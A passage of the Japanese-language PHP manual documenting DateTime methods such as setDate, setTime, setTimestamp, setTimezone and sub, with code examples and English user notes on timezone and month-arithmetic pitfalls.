        $back_to_init->modify($back_modifier);

        while($init->format('m')!=$back_to_init->format('m')){
        $date->modify('-1 day')    ;
        $back_to_init= clone $date;
        $back_to_init->modify($back_modifier);
        }

        /*
        if($months<0&&$date->format('m')>$init->format('m'))
        while($date->format('m')-12-$init->format('m')!=$months%12)
        $date->modify('-1 day');
        else
        if($months>0&&$date->format('m')<$init->format('m'))
        while($date->format('m')+12-$init->format('m')!=$months%12)
        $date->modify('-1 day');
        else
        while($date->format('m')-$init->format('m')!=$months%12)
        $date->modify('-1 day');
        */

    }

    function addYears($date,$years){

        $init=clone $date;
        $modifier=$years.' years';
        $date->modify($modifier);

        while($date->format('m')!=$init->format('m'))
        $date->modify('-1 day');

    }

    addMonths($date,-1);
     addYears($date,3);

    echo $date->format('F j,Y');

?>


__set_state ハンドラ

  • ≪ DateTime::modify
  • DateTime::setDate ≫
  • PHP Manual
  • DateTime
  • __set_state ハンドラ

DateTime::__set_state

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::__set_state — __set_state ハンドラ

説明

public static DateTime::__set_state ( array $array ) : DateTime

__set_state() を処理します。

パラメータ

array

初期化配列。

返り値

新しい DateTime オブジェクトのインスタンスを返します。

User Contributed Notes

There are no user contributed notes for this page.


日付を設定する

  • ≪ DateTime::__set_state
  • DateTime::setISODate ≫
  • PHP Manual
  • DateTime
  • 日付を設定する

DateTime::setDate

date_date_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::setDate -- date_date_set — 日付を設定する

説明

オブジェクト指向型

public DateTime::setDate ( int $year , int $month , int $day ) : DateTime

手続き型

date_date_set ( DateTime $object , int $year , int $month , int $day ) : DateTime

DateTime オブジェクトの現在の日付をリセットし、別の日付にします。

パラメータ

object

手続き型のみ: date_create() が返す DateTime オブジェクト。 この関数は、このオブジェクトを変更します。

year

その日付の年。

month

その日付の月。

day

その日付の日。

返り値

メソッドチェインに使う DateTime オブジェクトを返します。失敗した場合に false を返します。

例

例1 DateTime::setDate() の例

オブジェクト指向型

<?php
$date = new DateTime();
$date->setDate(2001, 2, 3);
echo $date->format('Y-m-d');
?>

手続き型

<?php
$date = date_create();
date_date_set($date, 2001, 2, 3);
echo date_format($date, 'Y-m-d');
?>

上の例の出力は以下となります。

2001-02-03

例2 範囲を超えた値が親の値に加算される例

<?php
$date = new DateTime();

$date->setDate(2001, 2, 28);
echo $date->format('Y-m-d') . "\n";

$date->setDate(2001, 2, 29);
echo $date->format('Y-m-d') . "\n";

$date->setDate(2001, 14, 3);
echo $date->format('Y-m-d') . "\n";
?>

上の例の出力は以下となります。

2001-02-28
2001-03-01
2002-02-03

参考

  • DateTime::setISODate() - ISO 日付を設定する
  • DateTime::setTime() - 時刻を設定する

User Contributed Notes

kevin dot nadin at gmail dot com 05-Apr-2017 09:26
Correction on the previous comment :

Bug fixed in php 7.0.17 and 7.1.3, for the version 7.0.0 to 7.0.16 and 7.1.0 to 7.1.2, the bug is still present
kevin dot nadin at gmail dot com 05-Apr-2017 09:16
Be carreful about this bug in php 5.6 and lower (fixed in php 7.0 and higher) :

<?php
$date = new DateTime("first day of last month");
echo $date->format('Y-m-d');
echo  ' => ' ;
$date->setDate(2013, 2, 3);
echo $date->format('Y-m-d');
?>

Output <=5.6 : 2017-03-01 => 2013-02-01
Output >=7.0 : 2017-03-31 => 2013-02-03

Same goes for "Last day of last month", and the funny part, it will take the last day of the new month setted by setDate

Example with a Leap Year :
<?php
$date = new DateTime("last day of last month");
echo $date->format('Y-m-d');
echo  ' => ' ;
$date->setDate(2012, 2, 3);
echo $date->format('Y-m-d');
?>

Output <=5.6 : 2017-03-31 => 2012-02-29
Output >=7.0 : 2017-03-31 => 2012-02-03
remy215 at laposte dot net 11-Jan-2012 10:59
Be warned, DateTime::setDate() does not check for invalid input.

Illustration:
<?php
$dt = new DateTime();
$dt->setDate(2012, 11, 31); // returns DateTime object and not false although this date does not exist
echo $dt->format('Y-m-d'); // output: 2012-12-01
?>

No error was generated on entering a non existing date, php silently changed it.


ISO 日付を設定する

  • ≪ DateTime::setDate
  • DateTime::setTime ≫
  • PHP Manual
  • DateTime
  • ISO 日付を設定する

DateTime::setISODate

date_isodate_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::setISODate -- date_isodate_set — ISO 日付を設定する

説明

オブジェクト指向型

public DateTime::setISODate ( int $year , int $week , int $dayOfWeek = 1 ) : DateTime

手続き型

date_isodate_set ( DateTime $object , int $year , int $week , int $dayOfWeek = 1 ) : DateTime

ISO 8601 標準形式、つまり週と日オフセットで日付を設定します。

パラメータ

object

手続き型のみ: date_create() が返す DateTime オブジェクト。 この関数は、このオブジェクトを変更します。

year

その日付の年。

week

その日付の週。

dayOfWeek

週の最初の日からのオフセット。

返り値

メソッドチェインに使う DateTime オブジェクトを返します。失敗した場合に false を返します。

例

例1 DateTime::setISODate() の例

オブジェクト指向型

<?php
$date = new DateTime();

$date->setISODate(2008, 2);
echo $date->format('Y-m-d') . "\n";

$date->setISODate(2008, 2, 7);
echo $date->format('Y-m-d') . "\n";
?>

手続き型

<?php
$date = date_create();

date_isodate_set($date, 2008, 2);
echo date_format($date, 'Y-m-d') . "\n";

date_isodate_set($date, 2008, 2, 7);
echo date_format($date, 'Y-m-d') . "\n";
?>

上の例の出力は以下となります。

2008-01-07
2008-01-13

例2 範囲を超えた値が親の値に加算される例

<?php
$date = new DateTime();

$date->setISODate(2008, 2, 7);
echo $date->format('Y-m-d') . "\n";

$date->setISODate(2008, 2, 8);
echo $date->format('Y-m-d') . "\n";

$date->setISODate(2008, 53, 7);
echo $date->format('Y-m-d') . "\n";
?>

上の例の出力は以下となります。

2008-01-13
2008-01-14
2009-01-04

例3 その週が存在する月を探す例

<?php
$date = new DateTime();
$date->setISODate(2008, 14);
echo $date->format('n');
?>

上の例の出力は以下となります。

3

参考

  • DateTime::setDate() - 日付を設定する
  • DateTime::setTime() - 時刻を設定する

User Contributed Notes

There are no user contributed notes for this page.


時刻を設定する

  • ≪ DateTime::setISODate
  • DateTime::setTimestamp ≫
  • PHP Manual
  • DateTime
  • 時刻を設定する

DateTime::setTime

date_time_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::setTime -- date_time_set — 時刻を設定する

説明

オブジェクト指向型

public DateTime::setTime ( int $hour , int $minute , int $second = 0 , int $microsecond = 0 ) : DateTime

手続き型

date_time_set ( DateTime $object , int $hour , int $minute , int $second = 0 , int $microsecond = 0 ) : DateTime

DateTime オブジェクトの現在時刻を別の時刻にリセットします。

パラメータ

object

手続き型のみ: date_create() が返す DateTime オブジェクト。 この関数は、このオブジェクトを変更します。

hour

その時刻の時。

minute

その時刻の分。

second

その時刻の秒。

microsecond

その時刻のマイクロ秒。

返り値

メソッドチェインに使う DateTime オブジェクトを返します。失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.1.0 | microsecond パラメータが追加されました。

例

例1 DateTime::setTime() の例

オブジェクト指向型

<?php
$date = new DateTime('2001-01-01');

$date->setTime(14, 55);
echo $date->format('Y-m-d H:i:s') . "\n";

$date->setTime(14, 55, 24);
echo $date->format('Y-m-d H:i:s') . "\n";
?>

手続き型

<?php
$date = date_create('2001-01-01');

date_time_set($date, 14, 55);
echo date_format($date, 'Y-m-d H:i:s') . "\n";

date_time_set($date, 14, 55, 24);
echo date_format($date, 'Y-m-d H:i:s') . "\n";
?>

上の例の出力は、 たとえば以下のようになります。

2001-01-01 14:55:00
2001-01-01 14:55:24

例2 範囲を超えた値が親の値に加算される例

<?php
$date = new DateTime('2001-01-01');

$date->setTime(14, 55, 24);
echo $date->format('Y-m-d H:i:s') . "\n";

$date->setTime(14, 55, 65);
echo $date->format('Y-m-d H:i:s') . "\n";

$date->setTime(14, 65, 24);
echo $date->format('Y-m-d H:i:s') . "\n";

$date->setTime(25, 55, 24);
echo $date->format('Y-m-d H:i:s') . "\n";
?>

上の例の出力は以下となります。

2001-01-01 14:55:24
2001-01-01 14:56:05
2001-01-01 15:05:24
2001-01-02 01:55:24

参考

  • DateTime::setDate() - 日付を設定する
  • DateTime::setISODate() - ISO 日付を設定する

User Contributed Notes

fabien dot villepinte at gmail dot com 21-Apr-2017 02:12
A 4th parameter has been added in PHP-7.1 : microseconds

See the notes here:
https://github.com/php/php-src/blob/e33ec61f9c1baa73bfe1b03b8c48a824ab2a867e/UPGRADING#L285


Unix タイムスタンプを用いて日付と時刻を設定する

  • ≪ DateTime::setTime
  • DateTime::setTimezone ≫
  • PHP Manual
  • DateTime
  • Unix タイムスタンプを用いて日付と時刻を設定する

DateTime::setTimestamp

date_timestamp_set

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::setTimestamp -- date_timestamp_set — Unix タイムスタンプを用いて日付と時刻を設定する

説明

オブジェクト指向型

public DateTime::setTimestamp ( int $timestamp ) : DateTime

手続き型

date_timestamp_set ( DateTime $object , int $timestamp ) : DateTime

Unix タイムスタンプを用いて日付と時刻を設定します。

パラメータ

object

手続き型のみ: date_create() が返す DateTime オブジェクト。 この関数は、このオブジェクトを変更します。

timestamp

Unix タイムスタンプ。

返り値

メソッドチェインに使う DateTime オブジェクトを返します。失敗した場合に false を返します。

例

例1 DateTime::setTimestamp() の例

オブジェクト指向型

<?php
$date = new DateTime();
echo $date->format('U = Y-m-d H:i:s') . "\n";

$date->setTimestamp(1171502725);
echo $date->format('U = Y-m-d H:i:s') . "\n";
?>

手続き型

<?php
$date = date_create();
echo date_format($date, 'U = Y-m-d H:i:s') . "\n";

date_timestamp_set($date, 1171502725);
echo date_format($date, 'U = Y-m-d H:i:s') . "\n";
?>

上の例の出力は、 たとえば以下のようになります。

1272508903 = 2010-04-28 22:41:43
1171502725 = 2007-02-14 20:25:25

注意

PHP 5.2 を使っている場合は、 Unix タイムスタンプ形式を使って新しい DateTime オブジェクトを作る方法もあります。 以下の例を参照ください。

例2 PHP 5.2 における DateTime::setTimestamp() のもうひとつの方法

<?php
$ts = 1171502725;
$date = new DateTime("@$ts");
echo $date->format('U = Y-m-d H:i:s') . "\n";
?>

上の例の出力は、 たとえば以下のようになります。

1171502725 = 2007-02-14 20:25:25

参考

  • DateTime::getTimestamp() - Unix タイムスタンプを取得する

User Contributed Notes

admin at torntech dot com 07-May-2015 09:32
It should be noted above, be careful when manipulating the DateTime object with unix timestamps.
In the above examples you will get varying results dependent on your current timezone, method used, and version of PHP.

One would expect all of the examples above to perform the same as setTimestamp() or date('H:i', $timestamp); would.

<?php
date_default_timezone_set('America/New_York');

$ts = 1171502725;
?>

Set timestamp from UTC timezone use UTC timezone
<?php
$date = new DateTime("@$ts");
var_dump($date->format('Y-m-d H:i:s e'));
/*
string(26) "2007-02-15 01:25:25 +00:00" //PHP 5.3.0 - 5.6.8
*/
?>

To convert the above to use the current timezone simply use
<?php
$date->setTimezone(date_default_timezone_get());
//string(36) "2007-02-14 20:25:25 America/New_York"
?>

Set the timestamp from UTC timezone use current timezone
<?php
$date = new DateTime;
$date->modify('@' . $ts);
var_dump($date->format('Y-m-d H:i:s e'));
/*
string(36) "2007-02-15 01:25:25 America/New_York" //PHP 5.3.6 - 5.6.8
string(36) "2052-06-20 18:53:24 America/New_York" //PHP 5.3.0 - 5.3.5
*/
?>

Set the timestamp from current timezone use current timezone
<?php
$date = new DateTime;
$date->setTimestamp($ts);
var_dump($date->format('Y-m-d H:i:s e'));
/*
string(36) "2007-02-14 20:25:25 America/New_York" //PHP 5.3.0 - 5.6.8
*/
?>
Arnb 08-Aug-2013 12:35
When you need to manipulate a unix timestamp like field (seconds since 1970-01-01) that may be greater than the drop dead date of 2038-01-19.

<?php

function secs2date($secs,$date)
    {
    if ($secs>2147472000)    //2038-01-19 expire dt
        {
        $date->setTimestamp(2147472000);
        $s=$secs-2147472000;
        $date->add(new DateInterval('PT'.$s.'S'));
        }
    else
        $date->setTimestamp($secs);
    }

function date2secs($date,$datebeg)
    {
    $diff = $datebeg->diff($date);
    $secs=$diff->format('%a') * (60*60*24);  //total days
    $secs+=$diff->format('%h') * (60*60);     //hours
    $secs+=$diff->format('%i') * 60;              //minutes
    $secs+=$diff->format('%s');                     //seconds
    return $secs;
    }

$datebeg = new DateTime('1970-01-01');
$date=new dateTime();

$secs=2017472000;  //2033-12-06 08:53:20
secs2date($secs,$date);
$dt=$date->format('Y-m-d H:i:s');
echo $dt."<br>";
$sec2=date2secs($date,$datebeg);
echo '(1) ',$sec2,'***',$secs,'<br>';

$secs=2397472000; //2045-12-21 12:26:40
secs2date($secs,$date);
$dt=$date->format('Y-m-d H:i:s');
echo $dt."<br>";
$sec2=date2secs($date,$datebeg);
echo '(2) ',$sec2,'***',$secs,'<br>';
?>
linblow at hotmail dot fr 04-Apr-2011 12:40
If your PHP version is lower than 5.3 then you can use this class to be able to use the functions "setTimestamp" and "getTimestamp":

<?php

class MyDateTime extends DateTime
{
    public function setTimestamp( $timestamp )
    {
        $date = getdate( ( int ) $timestamp );
        $this->setDate( $date['year'] , $date['mon'] , $date['mday'] );
        $this->setTime( $date['hours'] , $date['minutes'] , $date['seconds'] );
    }

    public function getTimestamp()
    {
        return $this->format( 'U' );
    }
}

$date = new MyDateTime();
$date->setTimestamp( $someTimestamp );

echo $date->format( 'd/m/Y H:i:s' );

?>
Use Web Form at Aouie.net 10-Sep-2010 10:15
When the exact time is important then it is important to note the difference between this and the UnixTimeStamp. The function will change the timestamp if necessary to take into account the daylight savings time.
e.g. Working with the 'Europe/London' timezone and setting the DateTime object to a timestamp of 1288486753 will result in the function automatically altering it to 1288490353.
This is because it is taking the fall time instead of the summer time (they will both be Sun, 31-Oct-2010 01:X:Y (I didn't check the hour and minute)).
Sincerely,
Aouie


DateTime オブジェクトのタイムゾーンを設定する

  • ≪ DateTime::setTimestamp
  • DateTime::sub ≫
  • PHP Manual
  • DateTime
  • DateTime オブジェクトのタイムゾーンを設定する

DateTime::setTimezone

date_timezone_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::setTimezone -- date_timezone_set — DateTime オブジェクトのタイムゾーンを設定する

説明

オブジェクト指向型

public DateTime::setTimezone ( DateTimeZone $timezone ) : DateTime

手続き型

date_timezone_set ( DateTime $object , DateTimeZone $timezone ) : DateTime

新しいタイムゾーンを DateTime オブジェクトに設定します。

パラメータ

object

手続き型のみ: date_create() が返す DateTime オブジェクト。 この関数は、このオブジェクトを変更します。

timezone

指定したいタイムゾーンを表す DateTimeZone オブジェクト。

返り値

メソッドチェインに使う DateTime オブジェクトを返します。失敗した場合に false を返します。

例

例1 DateTime::setTimeZone() の例

オブジェクト指向型

<?php
$date = new DateTime('2000-01-01', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

$date->setTimezone(new DateTimeZone('Pacific/Chatham'));
echo $date->format('Y-m-d H:i:sP') . "\n";
?>

手続き型

<?php
$date = date_create('2000-01-01', timezone_open('Pacific/Nauru'));
echo date_format($date, 'Y-m-d H:i:sP') . "\n";

date_timezone_set($date, timezone_open('Pacific/Chatham'));
echo date_format($date, 'Y-m-d H:i:sP') . "\n";
?>

上の例の出力は以下となります。

2000-01-01 00:00:00+12:00
2000-01-01 01:45:00+13:45

参考

  • DateTime::getTimezone() - 指定した DateTime に関連するタイムゾーンを返す
  • DateTimeZone::__construct() - 新しい DateTimeZone オブジェクトを作成する

User Contributed Notes

Alex 03-Nov-2016 11:13
Surprising that the timezone works only specified in the separated method in case if you'll use ->format('U').

this does NOT apply timezone +0200 in the $timestamp:

<?php
    $date = new \DateTime(strtotime(time()), new DateTimeZone(system('date +%z')));
    $timestamp = $date->format('U');
?>

this will apply timezone +0200 in the $timestamp:

<?php
    $date = new \DateTime(strtotime(time()));
    $date->setTimezone(new DateTimeZone(system('date +%z')));
    $timestamp = $date->format('U');
?>
balbuf 07-Feb-2016 07:44
It appears that what forzi at mail333 dot com said is correct.

When you reset the timezone on a DateTime object using a timezone that was instantiated with a GMT offset (e.g. <?php new DateTimeZone('-0500'); ?>) the timestamp as reported by <?php $dt->format('U'); ?> changes.

However, the value reported by <?php $dt->getTimestamp(); ?> does _not_ change. Interestingly, once <?php $dt->getTimestamp(); is called, the value from <?php $dt->format('U'); ?> starts returning the correct timestamp. This appears to be a bug.

In any case, other output values from format() seem to be accurate, and the true timestamp is always accessible via getTimestamp().
jamsilver at gmail dot com 22-Jun-2015 11:15
In response to the other comments expressing surprise that changing the timezone does not affect the timestamp:

A UNIX timestamp is defined as the number of seconds that have elapsed since 00:00:00 (UTC), Thursday, 1 January 1970.

So: with respect to UTC. Always.

Calling setTimezone() never changes the actual "absolute", underlying, moment-in-time itself. It only changes the timezone you wish to "view" that moment "from". Consider the following:

<?php
// A time in London.
$datetime = new DateTime('2015-06-22T10:40:25', new DateTimeZone('Europe/London'));

// I wonder how that SAME moment-in-time would
// be described in other places around the world.
$datetime->setTimezone(new DateTimeZone('Australia/Sydney'));
print $datetime->format('Y-m-d H:i:s (e)');
  // 2015-06-22 19:40:25 (Australia/Sydney)

$datetime->setTimezone(new DateTimeZone('America/New_York'));
print $datetime->format('Y-m-d H:i:s (e)');
  // 2015-06-22 05:40:25 (America/New_York)

$datetime->setTimezone(new DateTimeZone('Asia/Calcutta'));
print $datetime->format('Y-m-d H:i:s (e)');
  // 2015-06-22 15:10:25 (Asia/Calcutta)
?>

Please note that ALL of these date strings unambiguously represent the exact same moment-in-time. Therefore, calling getTimestamp() at any stage will return the same result:

<?php
$datetime->getTimestamp();
  // 1434966025
?>
forzi at mail333 dot com 30-Sep-2014 03:02
<?php
$MNTTZ = new DateTimeZone('America/Denver');
$ESTTZ = new DateTimeZone('America/New_York');

$dt = new DateTime('11/24/2009 2:00 pm', $MNTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));
$dt->setTimezone($ESTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));
?>
doesn't changes timestamp
But
<?php
$MNTTZ = new DateTimeZone('America/Denver');
$ESTTZ = new DateTimeZone('-0500');

$dt = new DateTime('11/24/2009 2:00 pm', $MNTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));
$dt->setTimezone($ESTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));
?>
changes timestamp

It is possible to fix that by:
<?php
$timestamp = $date->getTimestamp();
$date->setTimezone($value);
$date->setTimestamp($timestamp);
?>
But WTF???
salladin 08-May-2012 01:59
I found unexpected behaviour when passing a timestamp.
timezone seems to always be GMT+0000 unless setTimezone() is set.

<?php

$MNTTZ = new DateTimeZone('America/Denver');
$ts = 1336476757;

$dt = new DateTime("@$ts", $MNTTZ);
var_dump($dt->format('T'), $dt->format('U'));

$dt->setTimezone($MNTTZ);
var_dump($dt->format('T'), $dt->format('U'));

/** Output:
string(8) "GMT+0000"
string(10) "1336476757"
string(3) "MDT"
string(10) "1336476757"
**/

?>
keithm at aoeex dot com 24-Nov-2009 03:13
The timestamp value represented by the DateTime object is not modified when you set the timezone using this method.  Only the timezone, and thus the resulting display formatting, is affected.

This can be seen using the following test code:
<?php
$MNTTZ = new DateTimeZone('America/Denver');
$ESTTZ = new DateTimeZone('America/New_York');

$dt = new DateTime('11/24/2009 2:00 pm', $MNTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));
$dt->setTimezone($ESTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));

/** Output:
string(29) "Tue, 24 Nov 09 14:00:00 -0700"
string(10) "1259096400"
string(29) "Tue, 24 Nov 09 16:00:00 -0500"
string(10) "1259096400"
**/
?>

As such, you can use this to easily convert between timezones for display purposes.


年月日時分秒の値を DateTime オブジェクトから引く

  • ≪ DateTime::setTimezone
  • DateTimeImmutable ≫
  • PHP Manual
  • DateTime
  • 年月日時分秒の値を DateTime オブジェクトから引く

DateTime::sub

date_sub

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::sub -- date_sub — 年月日時分秒の値を DateTime オブジェクトから引く

説明

オブジェクト指向型

public DateTime::sub ( DateInterval $interval ) : DateTime

手続き型

date_sub ( DateTime $object , DateInterval $interval ) : DateTime

指定した DateInterval オブジェクトを、 指定した DateTime オブジェクトから引きます。

パラメータ

object

手続き型のみ: date_create() が返す DateTime オブジェクト。 この関数は、このオブジェクトを変更します。

interval

DateInterval オブジェクト。

返り値

メソッドチェインに使う DateTime オブジェクトを返します。失敗した場合に false を返します。

例

例1 DateTime::sub() の例

オブジェクト指向型

<?php
$date = new DateTime('2000-01-20');
$date->sub(new DateInterval('P10D'));
echo $date->format('Y-m-d') . "\n";
?>

手続き型

<?php
$date = date_create('2000-01-20');
date_sub($date, date_interval_create_from_date_string('10 days'));
echo date_format($date, 'Y-m-d');
?>

上の例の出力は以下となります。

2000-01-10

例2 DateTime::sub() の別の例

<?php
$date = new DateTime('2000-01-20');
$date->sub(new DateInterval('PT10H30S'));
echo $date->format('Y-m-d H:i:s') . "\n";

$date = new DateTime('2000-01-20');
$date->sub(new DateInterval('P7Y5M4DT4H3M2S'));
echo $date->format('Y-m-d H:i:s') . "\n";
?>

上の例の出力は以下となります。

2000-01-19 13:59:30
1992-08-15 19:56:58

例3 月を減算するときの注意点

<?php
$date = new DateTime('2001-04-30');
$interval = new DateInterval('P1M');

$date->sub($interval);
echo $date->format('Y-m-d') . "\n";

$date->sub($interval);
echo $date->format('Y-m-d') . "\n";
?>

上の例の出力は以下となります。

2001-03-30
2001-03-02

注意

PHP 5.2 では、かわりに DateTime::modify() を使うことができます。

参考

  • DateTime::add() - 年月日時分秒の値を DateTime オブジェクトに加える
  • DateTime::diff() - ふたつの DateTime オブジェクトの差を返す
  • DateTime::modify() - タイムスタンプを変更する

User Contributed Notes

info at mobger dot de 09-Jan-2021 10:58
Remark, that calculations on date are not defined as bijective operations.  The Summertime is integrated by mixing two concepts. You should test it beforehead.

Datetime will correct a date after each summation, if a date (29.2.2021 => 1.3.2021) or a datetime (29.3.2020 2:30 am (Europe/Berlin) => 29.3.2020 3:30 or 29.3.2020 1:30)

Example
<?php

$expectEaster = date_create_from_format('Y-m-d H:i:s', '2020-04-12 12:00:00', new DateTimeZone('Europe/Berlin'));
$interval = new DateInterval('PT20761M');
$expectEaster->sub($interval);
echo('recalc '.$expectEaster->format('Y-m-d H:i:s')."\n");
$expectEaster->add($interval);
echo('easter '.$expectEaster->format('Y-m-d H:i:s')."\n" );

$expectEaster = date_create_from_format('Y-m-d H:i:s', '2020-04-12 12:00:00', new DateTimeZone('Europe/Berlin'));
$interval = new DateInterval('PT20760M');
$expectEaster->sub($interval);
echo('recalc '.$expectEaster->format('Y-m-d H:i:s')."\n");
$expectEaster->add($interval);
echo('easter '.$expectEaster->format('Y-m-d H:i:s')."\n");

$expectEaster = date_create_from_format('Y-m-d H:i:s', '2020-04-12 12:00:00', new DateTimeZone('Europe/Berlin'));
$interval = new DateInterval('PT20701M');
$expectEaster->sub($interval);
echo('recalc '.$expectEaster->format('Y-m-d H:i:s')."\n");
$expectEaster->add($interval);
echo('easter '.$expectEaster->format('Y-m-d H:i:s')."\n");

$expectEaster = date_create_from_format('Y-m-d H:i:s', '2020-04-12 12:00:00', new DateTimeZone('Europe/Berlin'));
$interval = new DateInterval('PT20700M');
$expectEaster->sub($interval);
echo('recalc '.$expectEaster->format('Y-m-d H:i:s')."\n");
$expectEaster->add($interval);
echo('easter '.$expectEaster->format('Y-m-d H:i:s')."\n");

// Result
// recalc 2020-03-29 00:59:00  // reduce the missing hour before you calcuclate the datetime
// easter 2020-04-12 11:00:00  // recalcultate the date and remove the missing hour
// recalc 2020-03-29 03:00:00  //because 2020-03-29 3:00:00 [it means 2020-03-29 2:00:00] does not exist add 60 min)
// easter 2020-04-12 13:00:00
// recalc 2020-03-29 03:59:00 // -(12*60+(11+2)*1440+21*60) = -(20701 min) =  = 29.3.2020 2:59(not exist => no-equivalent add of one hour) =>  29.3.2020 3:59
// easter 2020-04-12 13:00:00 // Recalc add 60 minutes, because the hour does not exist.)
// recalc 2020-03-29 03:00:00 // -(12*60+(11+2)*1440+21*60 min)= -(20700 min) = 29.3.2020 3:00
// easter 2020-04-12 12:00:00 // +(12*60+(11+2)*1440+21*60 min)= +(20700 min) = 29.3.2020
man13or at hotmail dot fr 31-Oct-2019 03:42
CAUTION: Never subtract months from the current day, always do so from the 1st of the month.
Let us imagine that it is May 31, 2019, so 2019-05-31, the function will not give 2019-04-31 because April is not 31 days old but 30, it will create problems.
david_newey at cable dot comcast dot com 26-Dec-2018 06:06
As noted above when subtracting months, results can be suspect. I needed to create an array of end of month dates for 6 months starting at Oct and going back.  Using:
<?php

//Instantiate array
$dateset = [];

//Create new date object
$date = new \DateTime('2018-10-31);
//Add to array
$dateset[] = $date->format('Y-m-d');

//Go back 5 months
$nbr = 6;
for($i = 1; $i < $nbr; $i++){
    $date->sub(new \DateInterval('P1M'));
    $dateset[] = $date->format('Y-m-d');
}
?>

Results in:

array:6 [▼
  0 => "2018-10-31"
  1 => "2018-10-01"
  2 => "2018-09-01"
  3 => "2018-08-01"
  4 => "2018-07-01"
  5 => "2018-06-01"
]

However, using ->modify("last day of last month") accurately gives month ending dates:

<?php

//Instantiate array
$dateset = [];

//Create new date object
$date = new \DateTime('2018-10-31);
//Add to array
$dateset[] = $date->format('Y-m-d');

//Go back 5 months
$nbr = 6;
for($i = 1; $i < $nbr; $i++){
    $date->modify('last day of last month');
    $dateset[] = $date->format('Y-m-d');
}
?>

Results in:

array:6 [▼
  0 => "2018-10-31"
  1 => "2018-09-30"
  2 => "2018-08-31"
  3 => "2018-07-31"
  4 => "2018-06-30"
  5 => "2018-05-31"
]
itonohito 05-Apr-2014 07:25
When trying to pass daylight saving state change time, sub() works incorrectly.

$t = new DateTime( '2014-03-30 02:00:00' );
$t->add( new DateInterval('PT1H') );
echo $->format('Y-m-d H:i:s');

output will be: '2014-03-30 04:00:00'.

 Well, it's ok because at 3:00 a.m. daylight saving time begins in my country, so after  02:59:59 must be 04:00:00.

But if I try to subtract time:

$t = new DateTime( '2014-03-30 04:00:00' );
$t->sub( new DateInterval('PT1H') );
echo $->format('Y-m-d H:i:s');

output will be: '2014-03-30 04:00:00'.

Yes, completely the same, not '2014-03-30 02:00:00' as it should be.
Anonymous 01-Feb-2011 02:15
Note that the sub() and add() methods will modify the value of the object you're calling the method on! This is very untypical for a method that returns a value of its own type. You could misunderstand it that the method would return a new instance with the modified value, but in fact it modifies itself! This is undocumented here. (Only a side note on procedural style mentions it, but it obviously does not apply to object oriented style.)
php at keith tyler dot com 30-Nov-2010 06:53
If you use diff() after sub(), the effects of the sub() will be repeated on the date object.

It doesn't matter if the object is the one diffed or doing the diffing (i.e. which object you call diff() from).

<?php
$today = new DateTime();
$newdate = new DateTime();

print_r($newdate);
$newdate->sub(new DateInterval("PT1S"));
print_r($newdate);
$s = $newdate->diff($today);
print_r($newdate);
$s = $today->diff($newdate);
print_r($newdate);
$s = $today->diff($newdate);
print_r($newdate);
?>

Prints:

DateTime Object
(
    [date] => 2010-11-30 18:43:48
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)
DateTime Object
(
    [date] => 2010-11-30 18:43:47
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)
DateTime Object
(
    [date] => 2010-11-30 18:43:46
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)
DateTime Object
(
    [date] => 2010-11-30 18:43:45
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)
DateTime Object
(
    [date] => 2010-11-30 18:43:44
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)

Note that using add() instead of sub() does NOT have the same effect.

This is particularly undesirable -- in this example you make a datetime, use sub() to make it a relative time in the past, and then date->diff() to confirm the difference. But the diff() inadvertendly makes the difference 2x.


DateTimeImmutable クラス

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

はじめに

日付と時刻を表現します。

クラス概要

DateTimeImmutable implements DateTimeInterface {
/* 継承した定数 */
const string DateTimeInterface::ATOM = "Y-m-d\TH:i:sP" ;
const string DateTimeInterface::COOKIE = "l, d-M-Y H:i:s T" ;
const string DateTimeInterface::ISO8601 = "Y-m-d\TH:i:sO" ;
const string DateTimeInterface::RFC822 = "D, d M y H:i:s O" ;
const string DateTimeInterface::RFC850 = "l, d-M-y H:i:s T" ;
const string DateTimeInterface::RFC1036 = "D, d M y H:i:s O" ;
const string DateTimeInterface::RFC1123 = "D, d M Y H:i:s O" ;
const string DateTimeInterface::RFC7231 = "D, d M Y H:i:s \G\M\T" ;
const string DateTimeInterface::RFC2822 = "D, d M Y H:i:s O" ;
const string DateTimeInterface::RFC3339 = "Y-m-d\TH:i:sP" ;
const string DateTimeInterface::RFC3339_EXTENDED = "Y-m-d\TH:i:s.vP" ;
const string DateTimeInterface::RSS = "D, d M Y H:i:s O" ;
const string DateTimeInterface::W3C = "Y-m-d\TH:i:sP" ;
/* メソッド */
public __construct ( string $datetime = "now" , DateTimeZone|null $timezone = null )
public add ( DateInterval $interval ) : DateTimeImmutable
public static createFromFormat ( string $format , string $datetime , DateTimeZone|null $timezone = null ) : DateTimeImmutable|false
public static createFromInterface ( DateTimeInterface $object ) : DateTimeImmutable
public static createFromMutable ( DateTime $object ) : DateTimeImmutable
public static getLastErrors ( ) : array|false
public modify ( string $modifier ) : DateTimeImmutable|false
public static __set_state ( array $array ) : DateTimeImmutable
public setDate ( int $year , int $month , int $day ) : DateTimeImmutable
public setISODate ( int $year , int $week , int $dayOfWeek = 1 ) : DateTimeImmutable
public setTime ( int $hour , int $minute , int $second = 0 , int $microsecond = 0 ) : DateTimeImmutable
public setTimestamp ( int $timestamp ) : DateTimeImmutable
public setTimezone ( DateTimeZone $timezone ) : DateTimeImmutable
public sub ( DateInterval $interval ) : DateTimeImmutable
